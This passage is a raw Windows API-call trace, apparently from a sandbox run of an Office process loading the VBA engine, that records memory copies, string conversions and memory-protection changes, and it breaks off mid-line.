[0084.502] memcpy (in: _Dst=0xfa54f38, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.502] memcpy (in: _Dst=0xfa54f38, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.502] memcpy (in: _Dst=0xfa54f38, _Src=0x197894, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.502] memcpy (in: _Dst=0xfa54f38, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc92bce, cbMultiByte=7, lpWideCharStr=0x197658, cchWideChar=6 | out: lpWideCharStr="Value") returned 0 [0084.502] memcpy (in: _Dst=0xfa54f38, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.502] memcpy (in: _Dst=0xfa54f38, _Src=0x197894, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.503] memcpy (in: _Dst=0xfa54f38, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.503] memcpy (in: _Dst=0xfa54f38, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.503] memcpy (in: _Dst=0xfa54f38, _Src=0x197894, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.503] memcpy (in: _Dst=0xfa54f38, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.503] memcpy (in: _Dst=0xfa54f3c, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.503] memcpy (in: _Dst=0xfa54f38, _Src=0x197a08, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.503] memcpy (in: _Dst=0xfa54f38, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.503] memcpy (in: _Dst=0xfa54f38, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112c2ce6, cbMultiByte=7, lpWideCharStr=0x197844, cchWideChar=8 | out: lpWideCharStr="VarPtr") returned 7 [0084.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc92ce2, cbMultiByte=7, lpWideCharStr=0x1978a4, cchWideChar=8 | out: lpWideCharStr="VarPtr") returned 7 [0084.505] CRetailMalloc_Realloc () returned 0xf2f03a8 [0084.505] CRetailMalloc_Realloc () returned 0xc8f3fe0 [0084.505] CRetailMalloc_Realloc () returned 0xc817ef8 [0084.505] CRetailMalloc_Realloc () returned 0xc787f10 [0084.506] CRetailMalloc_Realloc () returned 0xca85410 [0084.506] memcpy (in: _Dst=0xfa54f38, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.506] memcpy (in: _Dst=0xfa54f38, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.506] memcpy (in: _Dst=0xfa54f3c, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.506] memcpy (in: _Dst=0xfa54f40, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xfa54f40) returned 0xfa54f40 [0084.506] memcpy (in: _Dst=0xfa54f44, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f44) returned 0xfa54f44 [0084.506] memcpy (in: _Dst=0xfa54f44, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f44) returned 0xfa54f44 [0084.506] CRetailMalloc_Realloc () returned 0xc823748 [0084.506] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e7834, cbMultiByte=11, lpWideCharStr=0x11423be0, cchWideChar=24 | out: lpWideCharStr="ncJln8aIych") returned 11 [0084.506] memcpy (in: _Dst=0xcb36b80, _Src=0x11423bdc, _Size=0x1c | out: _Dst=0xcb36b80) returned 0xcb36b80 [0084.506] memcpy (in: _Dst=0xfa54f38, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.507] memcpy (in: _Dst=0xfa54f38, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e784a, cbMultiByte=10, lpWideCharStr=0x11423f98, cchWideChar=22 | out: lpWideCharStr="WbohhHuqGZ") returned 10 [0084.507] CRetailMalloc_Alloc () returned 0xcaa6e18 [0084.507] memcpy (in: _Dst=0xcaa6e2c, _Src=0x11423f94, _Size=0x1a | out: _Dst=0xcaa6e2c) returned 0xcaa6e2c [0084.507] memcpy (in: _Dst=0xfa54f3c, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.508] memcpy (in: _Dst=0xfa54f3c, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.508] memcpy (in: _Dst=0xfa54f40, _Src=0x197894, _Size=0x4 | out: _Dst=0xfa54f40) returned 0xfa54f40 [0084.508] memcpy (in: _Dst=0xfa54f40, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f40) returned 0xfa54f40 [0084.508] memcpy (in: _Dst=0xfa54f38, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.508] memcpy (in: _Dst=0xfa54f3c, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.508] memcpy (in: _Dst=0xfa54f40, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xfa54f40) returned 0xfa54f40 [0084.508] memcpy (in: _Dst=0xfa54f44, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f44) returned 0xfa54f44 [0084.524] memcpy (in: _Dst=0xfa54f38, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.525] memcpy (in: _Dst=0xfa54f38, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.525] memcpy (in: _Dst=0xfa54f38, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.525] memcpy (in: _Dst=0xfa54f3c, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e78ac, cbMultiByte=8, lpWideCharStr=0x114316e4, cchWideChar=18 | out: lpWideCharStr="Szjwykb2") returned 8 [0084.525] memcpy (in: _Dst=0xcaa6e4c, _Src=0x114316e0, _Size=0x16 | out: _Dst=0xcaa6e4c) returned 0xcaa6e4c [0084.525] memcpy (in: _Dst=0xfa54f38, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.525] memcpy (in: _Dst=0xfa54f38, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.525] memcpy (in: _Dst=0xfa54f38, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.526] memcpy (in: _Dst=0xfa54f3c, _Src=0x197894, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.526] memcpy (in: _Dst=0xfa54f3c, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.526] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc92d4a, cbMultiByte=8, lpWideCharStr=0x197658, cchWideChar=7 | out: lpWideCharStr="Remove") returned 0 [0084.526] wcscpy_s (in: _Destination=0xcaa6e68, _SizeInWords=0x7, _Source="Remove" | out: _Destination="Remove") returned 0x0 [0084.526] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2e78cc, cbMultiByte=9, lpWideCharStr=0x11432256, cchWideChar=20 | out: lpWideCharStr="rqOurs0Au") returned 9 [0084.526] memcpy (in: _Dst=0xcaa6e7c, _Src=0x11432252, _Size=0x18 | out: _Dst=0xcaa6e7c) returned 0xcaa6e7c [0084.526] memcpy (in: _Dst=0xfa54f38, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.526] memcpy (in: _Dst=0xfa54f38, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.526] memcpy (in: _Dst=0xfa54f38, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.526] memcpy (in: _Dst=0xfa54f3c, _Src=0x197894, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.527] memcpy (in: _Dst=0xfa54f3c, _Src=0x197a28, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.527] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcc92d4a, cbMultiByte=8, lpWideCharStr=0x197658, cchWideChar=7 | out: lpWideCharStr="Remove") returned 0 [0084.527] memcpy (in: _Dst=0xfa54f38, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.527] memcpy (in: _Dst=0xfa54f3c, _Src=0x197a5c, _Size=0x4 | out: _Dst=0xfa54f3c) returned 0xfa54f3c [0084.527] CRetailMalloc_Alloc () returned 0xf305f90 [0084.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x6955ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0084.529] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x6955ded0, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0084.530] memcpy (in: _Dst=0xca905dc, _Src=0x197ac4, _Size=0x18 | out: _Dst=0xca905dc) returned 0xca905dc [0084.530] CRetailMalloc_Realloc () returned 0xca90370 [0084.530] CRetailMalloc_Free () returned 0x1 [0084.530] GetCurrentProcess () returned 0xffffffff [0084.530] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0084.530] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.531] GetCurrentProcess () returned 0xffffffff [0084.531] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0084.531] GetCurrentProcess () returned 0xffffffff [0084.531] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0084.531] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.531] GetCurrentProcess () returned 0xffffffff [0084.531] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0084.531] GetCurrentProcess () returned 0xffffffff [0084.531] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0084.532] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.532] GetCurrentProcess () returned 0xffffffff [0084.532] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0084.532] GetCurrentProcess () returned 0xffffffff [0084.532] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0084.532] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.532] GetCurrentProcess () returned 0xffffffff [0084.532] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0084.532] GetCurrentProcess () returned 0xffffffff [0084.532] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0084.532] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.533] GetCurrentProcess () returned 0xffffffff [0084.533] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0084.533] GetCurrentProcess () returned 0xffffffff [0084.533] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0084.533] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.533] GetCurrentProcess () returned 0xffffffff [0084.533] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0084.533] GetCurrentProcess () returned 0xffffffff [0084.533] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0084.533] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.534] GetCurrentProcess () returned 0xffffffff [0084.534] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0084.534] GetCurrentProcess () returned 0xffffffff [0084.534] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0084.534] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.534] GetCurrentProcess () returned 0xffffffff [0084.534] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0084.534] GetCurrentProcess () returned 0xffffffff [0084.534] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0084.534] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.535] GetCurrentProcess () returned 0xffffffff [0084.535] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0084.535] GetCurrentProcess () returned 0xffffffff [0084.535] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0084.535] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.535] GetCurrentProcess () returned 0xffffffff [0084.535] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0084.535] GetCurrentProcess () returned 0xffffffff [0084.535] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0084.535] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.536] GetCurrentProcess () returned 0xffffffff [0084.536] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0084.536] GetCurrentProcess () returned 0xffffffff [0084.536] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0084.536] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.536] GetCurrentProcess () returned 0xffffffff [0084.536] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0084.536] GetCurrentProcess () returned 0xffffffff [0084.536] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0084.536] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.537] GetCurrentProcess () returned 0xffffffff [0084.537] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0084.537] GetCurrentProcess () returned 0xffffffff [0084.537] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0084.537] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.537] GetCurrentProcess () returned 0xffffffff [0084.537] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0084.537] GetCurrentProcess () returned 0xffffffff [0084.537] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0084.537] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.538] GetCurrentProcess () returned 0xffffffff [0084.538] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0084.538] GetCurrentProcess () returned 0xffffffff [0084.538] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0084.538] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.538] GetCurrentProcess () returned 0xffffffff [0084.538] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0084.538] GetCurrentProcess () returned 0xffffffff [0084.538] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0084.538] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.539] GetCurrentProcess () returned 0xffffffff [0084.539] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0084.539] GetCurrentProcess () returned 0xffffffff [0084.539] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0084.539] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.539] GetCurrentProcess () returned 0xffffffff [0084.539] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0084.539] GetCurrentProcess () returned 0xffffffff [0084.539] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0084.539] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.576] GetCurrentProcess () returned 0xffffffff [0084.576] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0084.576] GetCurrentProcess () returned 0xffffffff [0084.576] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0084.576] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.577] GetCurrentProcess () returned 0xffffffff [0084.577] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0084.577] GetCurrentProcess () returned 0xffffffff [0084.577] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0084.577] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.577] GetCurrentProcess () returned 0xffffffff [0084.577] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0084.577] GetCurrentProcess () returned 0xffffffff [0084.578] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0084.578] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.578] GetCurrentProcess () returned 0xffffffff [0084.578] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0084.578] GetCurrentProcess () returned 0xffffffff [0084.578] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0084.578] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.578] GetCurrentProcess () returned 0xffffffff [0084.578] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0084.578] GetCurrentProcess () returned 0xffffffff [0084.579] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0084.579] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.579] GetCurrentProcess () returned 0xffffffff [0084.579] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0084.579] GetCurrentProcess () returned 0xffffffff [0084.579] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0084.579] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.579] GetCurrentProcess () returned 0xffffffff [0084.579] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0084.580] GetCurrentProcess () returned 0xffffffff [0084.580] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0084.580] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.580] GetCurrentProcess () returned 0xffffffff [0084.580] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0084.580] GetCurrentProcess () returned 0xffffffff [0084.580] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0084.580] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.580] GetCurrentProcess () returned 0xffffffff [0084.580] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0084.581] GetCurrentProcess () returned 0xffffffff [0084.581] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0084.581] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.581] GetCurrentProcess () returned 0xffffffff [0084.581] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0084.581] GetCurrentProcess () returned 0xffffffff [0084.581] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0084.581] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.581] GetCurrentProcess () returned 0xffffffff [0084.581] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0084.581] GetCurrentProcess () returned 0xffffffff [0084.581] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0084.582] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.582] GetCurrentProcess () returned 0xffffffff [0084.582] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0084.582] GetCurrentProcess () returned 0xffffffff [0084.582] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0084.582] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19776c | out: lpflOldProtect=0x19776c*=0x40) returned 1 [0084.582] GetCurrentProcess () returned 0xffffffff [0084.582] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0084.582] SetErrorMode (uMode=0x8001) returned 0x8001 [0084.584] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0084.584] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x69320000 [0084.584] SetErrorMode (uMode=0x8001) returned 0x8001 [0084.585] GetProcAddress (hModule=0x69320000, lpProcName=0x284) returned 0x69355c5c [0084.585] GetCurrentProcess () returned 0xffffffff [0084.585] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb34db4, dwSize=0x19) returned 1 [0084.585] VirtualProtect (in: lpAddress=0xcb34db4, dwSize=0x19, flNewProtect=0x40, lpflOldProtect=0x197788 | out: lpflOldProtect=0x197788*=0x4) returned 1 [0084.585] GetCurrentProcess () returned 0xffffffff [0084.585] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb34e14, dwSize=0x19) returned 1 [0084.585] VirtualProtect (in: lpAddress=0xcb34e14, dwSize=0x19, flNewProtect=0x40, lpflOldProtect=0x197788 | out: lpflOldProtect=0x197788*=0x40) returned 1 [0084.586] GetCurrentProcess () returned 0xffffffff [0084.586] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31c3d8, dwSize=0x19) returned 1 [0084.586] VirtualProtect (in: lpAddress=0xf31c3d8, dwSize=0x19, flNewProtect=0x40, lpflOldProtect=0x197788 | out: lpflOldProtect=0x197788*=0x4) returned 1 [0084.587] GetAsyncKeyState (vKey=3) returned 0 [0084.587] CRetailMalloc_Alloc () returned 0xca90a18 [0084.587] memcpy (in: _Dst=0xfa54f38, _Src=0x1978dc, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.587] memcpy (in: _Dst=0xca90a38, _Src=0x197944, _Size=0x18 | out: _Dst=0xca90a38) returned 0xca90a38 [0084.587] CRetailMalloc_Realloc () returned 0xca90a18 [0084.587] CRetailMalloc_Free () returned 0x1 [0084.587] GetCurrentProcess () returned 0xffffffff [0084.587] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0084.587] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.588] GetCurrentProcess () returned 0xffffffff [0084.588] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0084.588] GetCurrentProcess () returned 0xffffffff [0084.588] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0084.588] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1975ec | out: lpflOldProtect=0x1975ec*=0x40) returned 1 [0084.588] GetCurrentProcess () returned 0xffffffff [0084.588] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0084.588] GetCurrentProcess 